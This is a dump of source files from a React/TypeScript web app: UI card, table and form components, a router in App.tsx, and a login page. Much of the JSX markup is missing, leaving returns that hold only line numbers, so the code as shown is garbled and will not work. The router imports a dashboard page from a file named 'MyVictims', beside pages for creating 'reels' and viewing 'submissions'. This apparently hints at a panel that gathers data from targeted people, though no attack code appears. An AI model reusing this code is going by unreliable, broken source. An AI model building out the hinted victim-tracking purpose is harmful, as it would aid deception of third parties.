React.ComponentProps<"div">) { 6 | return ( 7 |
15 | ) 16 | } 17 | 18 | function CardHeader({ className, ...props }: React.ComponentProps<"div">) { 19 | return ( 20 |
28 | ) 29 | } 30 | 31 | function CardTitle({ className, ...props }: React.ComponentProps<"div">) { 32 | return ( 33 |
38 | ) 39 | } 40 | 41 | function CardDescription({ className, ...props }: React.ComponentProps<"div">) { 42 | return ( 43 |
48 | ) 49 | } 50 | 51 | function CardAction({ className, ...props }: React.ComponentProps<"div">) { 52 | return ( 53 |
61 | ) 62 | } 63 | 64 | function CardContent({ className, ...props }: React.ComponentProps<"div">) { 65 | return ( 66 |
71 | ) 72 | } 73 | 74 | function CardFooter({ className, ...props }: React.ComponentProps<"div">) { 75 | return ( 76 |
81 | ) 82 | } 83 | 84 | export { 85 | Card, 86 | CardHeader, 87 | CardFooter, 88 | CardTitle, 89 | CardAction, 90 | CardDescription, 91 | CardContent, 92 | } 93 | -------------------------------------------------------------------------------- /src/App.tsx: -------------------------------------------------------------------------------- 1 | 2 | import { BrowserRouter as Router, Routes, Route, Navigate } from 'react-router-dom'; 3 | import { useAuth } from './context/AuthContext'; 4 | import LoginPage from './pages/LoginPage'; 5 | import SignupPage from './pages/SignupPage'; 6 | import DashboardLayout from './components/DashboardLayout'; 7 | import CreateReelPage from './pages/dashboard/CreateReelPage'; 8 | import MyReelsPage from './pages/dashboard/MyVictims'; 9 | import SubmissionsPage from './pages/dashboard/SubmissionsPage'; 10 | import { Toaster } from './components/ui/sonner'; 11 | import ConnectMePage from './pages/dashboard/ConnectMePage'; 12 | import { ThemeProvider } from './components/theme-provider'; 13 | import { Skeleton } from './components/ui/skeleton'; 14 | 15 | function ProtectedRoute({ children }: { children: React.ReactNode }) { 16 | const { user, loading } = useAuth(); 17 | 18 | if (loading) { 19 | return ( 20 |
21 | 22 |
23 | ); 24 | } 25 | 26 | if (!user) { 27 | return ; 28 | } 29 | 30 | return <>{children}; 31 | } 32 | 33 | function App() { 34 | return ( 35 | 36 | 37 |
38 | 39 | } /> 40 | } /> 41 | 45 | 46 | 47 | } 48 | > 49 | } /> 50 | } /> 51 | } /> 52 | } /> 53 | } /> 54 | } /> 55 | 56 | } /> 57 | 58 |
59 | 60 |
61 |
62 | ); 63 | } 64 | 65 | export default App; 66 | -------------------------------------------------------------------------------- /src/components/ui/table.tsx: -------------------------------------------------------------------------------- 1 | "use client" 2 | 3 | import * as React from "react" 4 | 5 | import { cn } from "@/lib/utils" 6 | 7 | function Table({ className, ...props }: React.ComponentProps<"table">) { 8 | return ( 9 |
13 | 18 | 19 | ) 20 | } 21 | 22 | function TableHeader({ className, ...props }: React.ComponentProps<"thead">) { 23 | return ( 24 | 29 | ) 30 | } 31 | 32 | function TableBody({ className, ...props }: React.ComponentProps<"tbody">) { 33 | return ( 34 | 39 | ) 40 | } 41 | 42 | function TableFooter({ className, ...props }: React.ComponentProps<"tfoot">) { 43 | return ( 44 | tr]:last:border-b-0", 48 | className 49 | )} 50 | {...props} 51 | /> 52 | ) 53 | } 54 | 55 | function TableRow({ className, ...props }: React.ComponentProps<"tr">) { 56 | return ( 57 | 65 | ) 66 | } 67 | 68 | function TableHead({ className, ...props }: React.ComponentProps<"th">) { 69 | return ( 70 |
[role=checkbox]]:translate-y-[2px]", 74 | className 75 | )} 76 | {...props} 77 | /> 78 | ) 79 | } 80 | 81 | function TableCell({ className, ...props }: React.ComponentProps<"td">) { 82 | return ( 83 | [role=checkbox]]:translate-y-[2px]", 87 | className 88 | )} 89 | {...props} 90 | /> 91 | ) 92 | } 93 | 94 | function TableCaption({ 95 | className, 96 | ...props 97 | }: React.ComponentProps<"caption">) { 98 | return ( 99 |
104 | ) 105 | } 106 | 107 | export { 108 | Table, 109 | TableHeader, 110 | TableBody, 111 | TableFooter, 112 | TableHead, 113 | TableRow, 114 | TableCell, 115 | TableCaption, 116 | } 117 | -------------------------------------------------------------------------------- /src/pages/LoginPage.tsx: -------------------------------------------------------------------------------- 1 | import { useState } from 'react'; 2 | import { Link, useNavigate } from 'react-router-dom'; 3 | import { useAuth } from '@/context/AuthContext'; 4 | import { login } from '@/lib/auth'; 5 | import { Input } from '@/components/ui/input'; 6 | import { Button } from '@/components/ui/button'; 7 | import { Card, CardContent, CardDescription, CardHeader, CardTitle } from '@/components/ui/card'; 8 | import { Label } from '@/components/ui/label'; 9 | import { toast } from 'sonner'; 10 | 11 | export default function LoginPage() { 12 | const [email, setEmail] = useState(''); 13 | const [password, setPassword] = useState(''); 14 | const [loading, setLoading] = useState(false); 15 | const navigate = useNavigate(); 16 | const { setUser } = useAuth(); 17 | 18 | const handleSubmit = async (e: React.FormEvent) => { 19 | e.preventDefault(); 20 | setLoading(true); 21 | try { 22 | const user = await login(email, password); 23 | setUser(user); 24 | toast.success('Logged in successfully!'); 25 | navigate('/dashboard'); 26 | } catch (error: any) { 27 | toast.error(error.message || 'Failed to login.'); 28 | } finally { 29 | setLoading(false); 30 | } 31 | }; 32 | 33 | return ( 34 |
35 | 36 | 37 | Welcome Back! 38 | 39 | Enter your credentials to access your dashboard. 40 | 41 | 42 | 43 |
44 |
45 | 46 | setEmail(e.target.value)} 52 | required 53 | className="w-full px-4 py-3 bg-gray-700 border border-gray-600 rounded-lg text-white placeholder-gray-400 focus:ring-2 focus:ring-blue-500 focus:border-blue-500 transition-all duration-200" 54 | /> 55 |
56 |
57 | 58 | setPassword(e.target.value)} 63 | required 64 | className="w-full px-4 py-3 bg-gray-700 border border-gray-600 rounded-lg text-white placeholder-gray-400 focus:ring-2 focus:ring-blue-500 focus:border-blue-500 transition-all duration-200" 65 | /> 66 |
67 | 74 |
75 |

76 | Don't have an account?{' '} 77 | 78 | Sign up 79 | 80 |

81 |
82 |
83 |
84 | ); 85 | } 86 | -------------------------------------------------------------------------------- /src/components/ui/form.tsx: -------------------------------------------------------------------------------- 1 | import * as React from "react" 2 | import * as LabelPrimitive from "@radix-ui/react-label" 3 | import { Slot } from "@radix-ui/react-slot" 4 | import { 5 | Controller, 6 | FormProvider, 7 | useFormContext, 8 | useFormState, 9 | type ControllerProps, 10 | type FieldPath, 11 | type FieldValues, 12 | } from "react-hook-form" 13 | 14 | import { cn } from "@/lib/utils" 15 | import { Label } from "@/components/ui/label" 16 | 17 | const Form = FormProvider 18 | 19 | type FormFieldContextValue< 20 | TFieldValues extends FieldValues = FieldValues, 21 | TName extends FieldPath = FieldPath, 22 | > = { 23 | name: TName 24 | } 25 | 26 | const FormFieldContext = React.createContext( 27 | {} as FormFieldContextValue 28 | ) 29 | 30 | const FormField = < 31 | TFieldValues extends FieldValues = FieldValues, 32 | TName extends FieldPath = FieldPath, 33 | >({ 34 | ...props 35 | }: ControllerProps) => { 36 | return ( 37 | 38 | 39 | 40 | ) 41 | } 42 | 43 | const useFormField = () => { 44 | const fieldContext = React.useContext(FormFieldContext) 45 | const itemContext = React.useContext(FormItemContext) 46 | const { getFieldState } = useFormContext() 47 | const formState = useFormState({ name: fieldContext.name }) 48 | const fieldState = getFieldState(fieldContext.name, formState) 49 | 50 | if (!fieldContext) { 51 | throw new Error("useFormField should be used within ") 52 | } 53 | 54 | const { id } = itemContext 55 | 56 | return { 57 | id, 58 | name: fieldContext.name, 59 | formItemId: `${id}-form-item`, 60 | formDescriptionId: `${id}-form-item-description`, 61 | formMessageId: `${id}-form-item-message`, 62 | ...fieldState, 63 | } 64 | } 65 | 66 | type FormItemContextValue = { 67 | id: string 68 | } 69 | 70 | const FormItemContext = React.createContext( 71 | {} as FormItemContextValue 72 | ) 73 | 74 | function FormItem({ className, ...props }: React.ComponentProps<"div">) { 75 | const id = React.useId() 76 | 77 | return ( 78 | 79 |
84 | 85 | ) 86 | } 87 | 88 | function FormLabel({ 89 | className, 90 | ...props 91 | }: React.ComponentProps) { 92 | const { error, formItemId } = useFormField() 93 | 94 | return ( 95 |